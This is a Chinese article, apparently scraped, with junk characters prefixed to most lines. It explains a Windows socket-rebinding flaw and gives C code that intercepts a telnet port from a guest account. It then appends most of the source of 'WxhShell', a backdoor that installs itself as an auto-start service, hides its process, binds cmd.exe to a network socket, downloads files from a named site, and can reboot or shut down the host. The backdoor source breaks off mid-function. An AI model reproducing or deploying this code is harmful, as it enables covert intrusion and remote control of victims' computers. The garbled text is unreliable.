在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
)00jRuF s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Lv
*USN $I9U.~* saddr.sin_family = AF_INET;
/pJr%}sc \+<=O` saddr.sin_addr.s_addr = htonl(INADDR_ANY);
22 `e7 e/$M6l$Q*4 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
ONLhQJCb YOtzja]~ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
1vCVTuRF Z.N9e 这意味着什么?意味着可以进行如下的攻击:
c&"1Z/tR 9} ]C 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
jgBJs^JgYG n%6=w9.%c 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
H^g&e$d0 X|y0pH:S 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
<SRo2rjRa @`aPr26>? 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
|pE
~ PrF('PH7i 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
3lgD,_& #_zj5B38E 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
jIWX6 T;3B_lu] 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
/Ur]U
w Rj-4K@a8#N #include
#/)U0IR) #include
r<'B\.#tp> #include
%< Jj[F #include
H:o=gP60] DWORD WINAPI ClientThread(LPVOID lpParam);
/km0[M int main()
kMg[YQ]OC {
avUdvV- WORD wVersionRequested;
`-5gsJ
DWORD ret;
35YDP|XZb WSADATA wsaData;
_SQ]\Z BOOL val;
Srrzj-9^)K SOCKADDR_IN saddr;
tNxKpA |F SOCKADDR_IN scaddr;
v5.KCc}" int err;
4!Lj\.!$ SOCKET s;
* K0aR! SOCKET sc;
2 y&k int caddsize;
f5'vjWJ30 HANDLE mt;
N'?#g`*KW DWORD tid;
K\5/ ||gi wVersionRequested = MAKEWORD( 2, 2 );
hjp,v)# err = WSAStartup( wVersionRequested, &wsaData );
-c%'f&P if ( err != 0 ) {
r`PD}6\ printf("error!WSAStartup failed!\n");
{-yw@Kq return -1;
b3q&CJ4| }
/=KEM gI? saddr.sin_family = AF_INET;
o1[[!~8e HyIyrU rYW //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
`Nv7c{M^ mA5sK?W saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
\Lm`jU(:l saddr.sin_port = htons(23);
"f-HOd\= if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
M?I^`6IOc8 {
{ApjOIxk printf("error!socket failed!\n");
qrcir-+ return -1;
V|pO";%>, }
MkM`)g 5
val = TRUE;
#X0Y8:vj //SO_REUSEADDR选项就是可以实现端口重绑定的
5zH_yZ@+ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
3/8<dc {
Y5<W"[B! printf("error!setsockopt failed!\n");
O?iLLfs return -1;
H )Ze{N }
e,l-}=5*P //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
i_p-|I:hQ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
KuMH,rXF //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
n{"a0O U Fyk%#L if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Oki{)Ssy {
"fu@2y4^ ret=GetLastError();
Gl9,!"A printf("error!bind failed!\n");
I~,b ZA return -1;
_BG7JvI }
_[N*k" listen(s,2);
Y$W)JWMY` while(1)
M} Mgz {
Zl?9ibm;@ caddsize = sizeof(scaddr);
{}BAQ9|q //接受连接请求
3lN@1jlh sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
</_.+c [ if(sc!=INVALID_SOCKET)
0Q[;{}W} {
}`]Et99Q5 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
"1rT>
ASWI if(mt==NULL)
[NbW"Y7 {
BVS
SO's printf("Thread Creat Failed!\n");
euET)Ccq break;
b
T** y?2 }
1?,C d }
p,7?rI\N CloseHandle(mt);
Xl
E0oN~{ }
-a7BVEFts closesocket(s);
FDuIm,NI WSACleanup();
G'{&*]Z\: return 0;
[ic%ZoZ_ }
5JS*6|IbD{ DWORD WINAPI ClientThread(LPVOID lpParam)
4j<[3~:0
o {
1eI_F8I U SOCKET ss = (SOCKET)lpParam;
&a'LOq+r' SOCKET sc;
,vuC0{C^ unsigned char buf[4096];
j k&\{ SOCKADDR_IN saddr;
e /L([ long num;
HP:[aR!2P DWORD val;
x::d}PP7 DWORD ret;
,?wxW //如果是隐藏端口应用的话,可以在此处加一些判断
7nZ3u_~ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Nwk^r75l q saddr.sin_family = AF_INET;
_Zxo<}w}y saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
>".@; saddr.sin_port = htons(23);
.>Fpk7 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
877Kv); {
pMoza8 printf("error!socket failed!\n");
&5QvUn return -1;
x|g2H.n }
%I@vM s^ val = 100;
P|TM4i] if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
nY,LQ0r {
|Gr@Mi5 ret = GetLastError();
o 80x@ &A: return -1;
AsI.8" }
JI/iq if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
uYijzHQyD {
3!i{4/ ret = GetLastError();
3=%G{L16- return -1;
'30JJ0 }
uFFC.w if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
`)Y 5L}c= {
j3j^cO[ 8v printf("error!socket connect failed!\n");
{d> 6*b closesocket(sc);
N[N4!k )!$ closesocket(ss);
."`||@| return -1;
WZ UeW*#= }
LVdtI while(1)
QRwO v {
im
F,8 ' //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
6rlvSdB //如果是嗅探内容的话,可以再此处进行内容分析和记录
}Ggn2 X //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
ypx`!2Q$ num = recv(ss,buf,4096,0);
A>\3FeU>UC if(num>0)
(R(NEN send(sc,buf,num,0);
NWj4U3x else if(num==0)
!p_l(@f break;
zo@,>'m num = recv(sc,buf,4096,0);
gBZNO! a,d if(num>0)
.I%B$eH send(ss,buf,num,0);
juxAyds else if(num==0)
cG4}daK]d break;
~w(A3I. }
W >|'4y) closesocket(ss);
^MVOaV65 closesocket(sc);
o5G]|JM_ return 0 ;
^}lL@Bd| }
$SfY<j,R ] ~}~d( >]2 ^5C; ==========================================================
[~?6jnp &"Fz)} 下边附上一个代码,,WXhSHELL
&LQfs4}a, qBZ;S3 ==========================================================
LN9.Q'@r? m;PTO$-- #include "stdafx.h"
AOx8OiqE: 'Y]<1M>.g #include <stdio.h>
/mwDVP<z / #include <string.h>
S5~(3I
)v #include <windows.h>
GqgJ ]m #include <winsock2.h>
D3y4e8+Z' #include <winsvc.h>
MI~QXy, #include <urlmon.h>
%h
v-3L#V R9UC0D:-x #pragma comment (lib, "Ws2_32.lib")
^c|0?EH #pragma comment (lib, "urlmon.lib")
m~F ~9& |RDE/ #define MAX_USER 100 // 最大客户端连接数
c$_} #define BUF_SOCK 200 // sock buffer
4thPR}DH} #define KEY_BUFF 255 // 输入 buffer
J~ wu*x jEK{47i v #define REBOOT 0 // 重启
id]}10 #define SHUTDOWN 1 // 关机
FV%|*JW[;N Ld=6'C8ud #define DEF_PORT 5000 // 监听端口
x[$:^5V ;}k_ #define REG_LEN 16 // 注册表键长度
T;i+az{N:V #define SVC_LEN 80 // NT服务名长度
?XVox*6K& ~O
4@b/!4 // 从dll定义API
i(xL-&{ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
z'0
=3 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
S(: |S( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Az/P;C= typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
[ *
!0DW` <<H'Z // wxhshell配置信息
fLV@~T| struct WSCFG {
][~rk?YY int ws_port; // 监听端口
|^#Z!Hp_Y char ws_passstr[REG_LEN]; // 口令
uNpa2{S' int ws_autoins; // 安装标记, 1=yes 0=no
d!"gb,ec char ws_regname[REG_LEN]; // 注册表键名
SA
[(1dy; char ws_svcname[REG_LEN]; // 服务名
B'6(Ao=3/ char ws_svcdisp[SVC_LEN]; // 服务显示名
}RQ'aeVl( char ws_svcdesc[SVC_LEN]; // 服务描述信息
$[b1_Db char ws_passmsg[SVC_LEN]; // 密码输入提示信息
dCzS f4: int ws_downexe; // 下载执行标记, 1=yes 0=no
l{V(Y$xp3 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
V_KHVul char ws_filenam[SVC_LEN]; // 下载后保存的文件名
X$ A ]7t =HMuAUa. };
YW"nPZNPy~ ppO!v? // default Wxhshell configuration
*k 0;R[IAV struct WSCFG wscfg={DEF_PORT,
c32"$g "xuhuanlingzhe",
A \Z _br 1,
U)1hC^[!
"Wxhshell",
=BzBM`-o "Wxhshell",
v=D4O . "WxhShell Service",
^L'<%_#. "Wrsky Windows CmdShell Service",
u#0EZ2># "Please Input Your Password: ",
&pAmFe 1,
S4{\5ulr7 "
http://www.wrsky.com/wxhshell.exe",
\G6V -W "Wxhshell.exe"
!KHbsOT?9 };
3GZrVhU?m @! jpJ} // 消息定义模块
Y }8HJTMB char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
DhG{hQ[[ char *msg_ws_prompt="\n\r? for help\n\r#>";
@>[3[; char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
B:)vPO+ d char *msg_ws_ext="\n\rExit.";
RI]x= char *msg_ws_end="\n\rQuit.";
$EZr@n char *msg_ws_boot="\n\rReboot...";
qtp-w\#S$ char *msg_ws_poff="\n\rShutdown...";
,km`-6.2? char *msg_ws_down="\n\rSave to ";
M\kct7Y ~%sNPKjA char *msg_ws_err="\n\rErr!";
] .c$(. char *msg_ws_ok="\n\rOK!";
qwo{34 ^0/!:*? char ExeFile[MAX_PATH];
kqLpt int nUser = 0;
'he&h4fm HANDLE handles[MAX_USER];
x!UGLL]_M int OsIsNt;
?)4c!3# Q>\9/DjUp SERVICE_STATUS serviceStatus;
0|?DA12Z SERVICE_STATUS_HANDLE hServiceStatusHandle;
QW&@>i {;hRFQ^b // 函数声明
K?V'
?s int Install(void);
M'$?Jp#]} int Uninstall(void);
wVUm!Y int DownloadFile(char *sURL, SOCKET wsh);
XMpE|M!c int Boot(int flag);
smX&B,&@ void HideProc(void);
7] 17?s]t, int GetOsVer(void);
WQHlf0] int Wxhshell(SOCKET wsl);
m_UzmWF void TalkWithClient(void *cs);
SuA`F|7?P int CmdShell(SOCKET sock);
Gdlx0i int StartFromService(void);
r
D|Bj(X8 int StartWxhshell(LPSTR lpCmdLine);
AaJz3oncJ OWmI$_L VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
QC+BEN$ VOID WINAPI NTServiceHandler( DWORD fdwControl );
58Z,(4:E _i0,?U2C // 数据结构和表定义
s?&UFyYb, SERVICE_TABLE_ENTRY DispatchTable[] =
G3t\2E9S {
`R:HMO[ow {wscfg.ws_svcname, NTServiceMain},
9Oc(Gl5az {NULL, NULL}
-[7S. };
h>n<5{zqM k7bfgb{ // 自我安装
3yM!BTlX int Install(void)
"C]_pWk {
_^Q =n>G char svExeFile[MAX_PATH];
1$uO% HKEY key;
y?V#LW[^E strcpy(svExeFile,ExeFile);
RZI4N4o (M,*R
v // 如果是win9x系统,修改注册表设为自启动
.p\<niu7 if(!OsIsNt) {
o&rNM5: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
)n$RHt+:> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
T28Q(\C:} RegCloseKey(key);
C?PgC~y) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
+p &$`( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
{IQCA-AI RegCloseKey(key);
Ga$EM return 0;
@ {8xL }
v ce1'aW }
3HB(rTw }
MJ`BlE,Fmb else {
zY\MzhkX, | PzXN+DW // 如果是NT以上系统,安装为系统服务
6s&%~6J, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
{i:Ayhq~& if (schSCManager!=0)
EN~ha:9 {
|dk9/xdX SC_HANDLE schService = CreateService
= k>ygD_ (
2(NN QU@Uz schSCManager,
O`='8'6zW\ wscfg.ws_svcname,
{@3p^b*E)1 wscfg.ws_svcdisp,
8Sg:HU\ SERVICE_ALL_ACCESS,
WJw
%[_W SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
*Duxabo? SERVICE_AUTO_START,
qeoj SERVICE_ERROR_NORMAL,
"z ;ky8 svExeFile,
;O *o NULL,
GZNfx8zsY+ NULL,
Dq~D4| NULL,
aZYs?b>Gm NULL,
{#uf#J| NULL
5\P3JoH:Yg );
y
;T=u(} if (schService!=0)
di#:KW {
2W=am_\0e. CloseServiceHandle(schService);
atjrn:X CloseServiceHandle(schSCManager);
)\0LxsZ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
YDo,9 strcat(svExeFile,wscfg.ws_svcname);
EyPF'|Qtn if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Ke,$3Yx RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
='GY:. N RegCloseKey(key);
@`#"6y? return 0;
>,QW74o }
_;`g*Kx }
]iVoF N}^ CloseServiceHandle(schSCManager);
Rac4a@hZ }
(= ,w$ }
ttC+`0+H ~:lN("9OI return 1;
mRC6m
K> }
\j3XT} d"JI4)%
// 自我卸载
P*sb@y>}O int Uninstall(void)
)K^5+oC17 {
+UC- HKEY key;
A]"IQ- <)$b=z if(!OsIsNt) {
7"Iagrgw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
vaUUesytt RegDeleteValue(key,wscfg.ws_regname);
0`l(c RegCloseKey(key);
'CO3b, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Qg4g(0E@ RegDeleteValue(key,wscfg.ws_regname);
@+
U++ RegCloseKey(key);
G9i?yd4n=B return 0;
(3M7 RpsL@ }
U `<?~Bz }
/J0ctJ2k }
Fl&Z}&5p else {
^\zf8kPti Um\_G@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
\LZVazXD if (schSCManager!=0)
-
d(RK_ {
SRf.8j SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
G%RhNwm if (schService!=0)
S`?cs^? {
gw);b)&mx if(DeleteService(schService)!=0) {
_f5n
t:- CloseServiceHandle(schService);
8]-c4zK CloseServiceHandle(schSCManager);
-?&s6XA%# return 0;
b".e6zev }
WF0[/Y CloseServiceHandle(schService);
A('_.J= }
O*zF` 9 CloseServiceHandle(schSCManager);
&fYV FRVkq }
.kkrU }
KQ(7% W 1P+Te,I return 1;
' Zmslijf }
v&i,}p^M5 IHlTp0? // 从指定url下载文件
lwuslt*E/ int DownloadFile(char *sURL, SOCKET wsh)
\a}W{e=FNT {
juc;]CHt' HRESULT hr;
geB]~/-p char seps[]= "/";
H%AC *, char *token;
>k{KwFB^S char *file;
4?)-;Hx_X char myURL[MAX_PATH];
t&99ZdE char myFILE[MAX_PATH];
&;O)Dw IrZ!.5%tV strcpy(myURL,sURL);
P<WCW3!JZ token=strtok(myURL,seps);
*n h.&Mv| while(token!=NULL)
2gnmk
TyF {
ZhpbbS file=token;
Z#P:C":e token=strtok(NULL,seps);
-N]%)Hy }
l
/\n7: (jY -MF3 GetCurrentDirectory(MAX_PATH,myFILE);
,:1_I`d>#X strcat(myFILE, "\\");
E)=X8y strcat(myFILE, file);
[nnX,; send(wsh,myFILE,strlen(myFILE),0);
j[Xci<m send(wsh,"...",3,0);
dW8M^A& hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
PRE\2lLY if(hr==S_OK)
(]l}QR%Bxu return 0;
6#rj3^] else
j >wT-s return 1;
`K^j:fE7n ?nya;Z-~Hc }
.:)nG(7f< ') -Rv]xe // 系统电源模块
)+ss)LEC int Boot(int flag)
vtS[Tkk|A {
Os# V=P HANDLE hToken;
J_=42aHO TOKEN_PRIVILEGES tkp;
bez_|fY{T ^5yFb=2 if(OsIsNt) {
f\~OG#AaX OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
-Ob89Z?2A LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
sC=fXCGW\p tkp.PrivilegeCount = 1;
`>mT/Rmb@ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tb@&!a$`? AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
jK{)gO if(flag==REBOOT) {
J^R# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
C;&44cU/] return 0;
z`:uvEX0 }
oL2 a:\7 else {
X-&U-S; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
`T]1u4^E return 0;
mz~aSbb| }
Jt3]'Nr04@ }
7fg +WZ else {
' N@1+v= if(flag==REBOOT) {
7Q>*] if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
]^63n/Twj return 0;
V>`xTQG }
M@n9i@UsO else {
~HH#aXh* if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
I<'wZJRRa return 0;
`n#
{} % }
-|l^- Qf! }
_Co*"hl>2 L(yR"A{FsE return 1;
8p?Fql}F[ }
|G5Me )@
/!B` // win9x进程隐藏模块
0koC;(<n void HideProc(void)
1%?J l~M {
u49v,,WGw Wq+6`o HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
yJ(p-3O5 if ( hKernel != NULL )
f\ wP}c' {
[ET03 nZ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
eRK
kHd- ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
<23oyMR0 FreeLibrary(hKernel);
oCBZ9PGkK }
HbRDa |G+6R-_ return;
;$Eg4uX }
`Ns$HV H0zKL]D'> // 获取操作系统版本
=kp-[7
int GetOsVer(void)
6n{`t/ {
cax]lO OSVERSIONINFO winfo;
nV|H5i;N7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
NArql GetVersionEx(&winfo);
A8?uCkG if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
m"{D}(TA return 1;
B?qLXRv else
L#Mul&r3x0 return 0;
kxJ! #%w }
u? a*bW vI<n~FHt // 客户端句柄模块
zj ;'0Zu int Wxhshell(SOCKET wsl)
_;]
3w {
H\OV7=8 SOCKET wsh;
j4v.8; struct sockaddr_in client;
Jww LAQ5 DWORD myID;
mHqw,28} T)"B35 while(nUser<MAX_USER)
'%@fW:r~ {
g1JBssw&m int nSize=sizeof(client);
1m*fkM# wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
#{]X<et if(wsh==INVALID_SOCKET) return 1;
l.ri]e Zrtyai{8l handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
p`@7hf|hm if(handles[nUser]==0)
[FHSFr
E,5 closesocket(wsh);
l$ABOtM@ else
;naD`([ nUser++;
fVlTsc|e }
;++CMTza] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
[whX),3> |/u&%w?W
return 0;
6Z:<?_p%7g }
Yx4TUA$c' J?d&+mt // 关闭 socket
o`hVI*D void CloseIt(SOCKET wsh)
H1`}3}" {
}@
Nurs)%_ closesocket(wsh);
fiuF!<#;6 nUser--;
-e6~0%X ExitThread(0);
v7?sXW }
1]wx Ru NwH`t#zd // 客户端请求句柄
p>w{.hC@ void TalkWithClient(void *cs)
J7FCW^-`3 {
s8,N9o[.~P 6%/@b`vZ SOCKET wsh=(SOCKET)cs;
mJBvhK9% char pwd[SVC_LEN];
a2l\B ~n char cmd[KEY_BUFF];
2&st/y(hs char chr[1];
Jx#r int i,j;
os|Y=a S GAu.8Js while (nUser < MAX_USER) {
iGG; g<,kV(_7 if(wscfg.ws_passstr) {
`~zY!sK if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
~&>|u5C*@ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
86[/NTD<- //ZeroMemory(pwd,KEY_BUFF);
FyZp,uD i=0;
6$"gm$3O] while(i<SVC_LEN) {
b2x8t7%O wB(A['k // 设置超时
>Ux5UD fd_set FdRead;
4a'GWzUtS struct timeval TimeOut;
ghXh nxG FD_ZERO(&FdRead);
}O+F#/6 FD_SET(wsh,&FdRead);
EAVB:gE TimeOut.tv_sec=8;
bERYC| TimeOut.tv_usec=0;
EZ+_*_9 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
2rS|V|d if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
P'^#I[G' J|k~e,C if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
9(.P2yO pwd
=chr[0]; _1D'9!+
if(chr[0]==0xd || chr[0]==0xa) { M"
|Mte
pwd=0; j5lSu~
break; [12^NEt
} -]1F]d
i++; /UGH7srx
} *ujn+0)[
(+'*_
// 如果是非法用户,关闭 socket 0QE2e'}}-
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JFw<Po,MEa
} N
O|&nqq,>
?:bW@x
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (h NSzG\
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O=wA/T=w?
1-.UkdZ}
while(1) { F<wwuCbF
S^}@X?v
ZeroMemory(cmd,KEY_BUFF); vAW+ ,Rfj
tlo"tl_]
// 自动支持客户端 telnet标准 R8
1z|+c|_
j=0; !o.l:Mr
while(j<KEY_BUFF) { =i jGB~
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K*Tj;
cmd[j]=chr[0]; /6_>d$
if(chr[0]==0xa || chr[0]==0xd) { t\2Lo7[Pu
cmd[j]=0; oi4tj.!J
break; 9OYsI
} ]$)J/L(p/]
j++; <<>?`7N
} " $5J7
Z/=x(I0
// 下载文件 S?.2V@Ic
if(strstr(cmd,"http://")) { n dRy&[f7
send(wsh,msg_ws_down,strlen(msg_ws_down),0); >SA?lG8f%
if(DownloadFile(cmd,wsh)) ^hOnLy2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ql-RbM
else SdF*"]t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mgeNH~%m@*
} ?YR/'Vq97
else { ( r_xs
:~JgB
switch(cmd[0]) { 7<&CN0&
i>gbT+*E!
// 帮助 NNC@?A7
case '?': { A@^e4\
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h@$M.h@mcG
break; j*"V!d
} M/
@1;a@\
// 安装 @$ E&H`da
case 'i': { 09y%FzV
if(Install()) E )D*~2o/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &mj98
else |]`\ak
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >W[8wR
break; d[ql7
} 0sW=;R2
// 卸载 O:'UsI1Y
case 'r': { DYlu`j_ux
if(Uninstall()) '6*^s&H~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wowv>!N!X-
else >pjmVlw?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <^+~?KDZM
break; E[bJ5o**#
} HgJ:R f]
// 显示 wxhshell 所在路径 6?nAO
case 'p': { zSMNk AM
char svExeFile[MAX_PATH]; a[iuE`
strcpy(svExeFile,"\n\r"); VH1PC
strcat(svExeFile,ExeFile); Y3G$(+i8
send(wsh,svExeFile,strlen(svExeFile),0); BE/#=$wPjM
break; 1ipfv-hb6
} \"B oTi'2!
// 重启 lNuZg9h
case 'b': { p$^}g:
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k@nx+fO}P
if(Boot(REBOOT)) !\wdX7%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *'=JT#
else { F/z$jj)
closesocket(wsh); |UvM[A|+
ExitThread(0); D@"g0SW4
} S\2QZ[u
break; e<s56<3j
} a-\\A[E
// 关机 u*u>F@C8
case 'd': { N=hr%{}c
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gzDH~'8W
if(Boot(SHUTDOWN)) `C 'WSr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~_v?M%5i
else { *gRg--PY%
closesocket(wsh); tpw0j
CVu
ExitThread(0); = Ly7H7Q2
} t]1j4S"pm
break; EacqQFErl
} [9S\3&yoh
// 获取shell +tFm DDx=
case 's': { /5M@>A^?'
CmdShell(wsh); (3YqM7cqt
closesocket(wsh); p] kpDx[9
ExitThread(0); IgH[xwzy[
break; MK"PCE5^i6
} g;)xf?A9q
// 退出 ct='Z E
case 'x': { (,$ H!qKy
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^/`:o}7K7
CloseIt(wsh); Qd"{2>
break; #W`>vd}
} m)4s4P57y
// 离开 \z!*)v/{-
case 'q': { ZM"J5}h
send(wsh,msg_ws_end,strlen(msg_ws_end),0); o_
closesocket(wsh); 0JTDJZOz@#
WSACleanup(); et]-;(M
exit(1); ypEcjVPD
break; xi=Z<G
} "orZje9AC
} {'dpRq{c|
} WHxq-&=
xXQ#?::m
// 提示信息 oj*5m+:>a
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wWm1G)
} \[&`PD
} c]jK
Y<
`-!t 8BH
return; w^N xR,
} lVY`^pw?
b*=eMcd
// shell模块句柄 P6w!r>?6N
int CmdShell(SOCKET sock) i/QE)"B"q
{ hEAt4z0P
STARTUPINFO si; %!$ua_8
ZeroMemory(&si,sizeof(si)); )M(; :#le
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ho[Kxe[c
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {M:Fsay>p
PROCESS_INFORMATION ProcessInfo; 4L#q?]$
char cmdline[]="cmd"; l1}=>V1
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GKdQ
return 0; LY}%|w
} #W[/N|~wx
nWpqAb
// 自身启动模式 K~"uZa^s
int StartFromService(void) Z4NNrA#
{ Lf _`8Ux
typedef struct =N,9#o6^
{ hnha1
f
DWORD ExitStatus; u'cM}y&
DWORD PebBaseAddress; @8X)hpHf
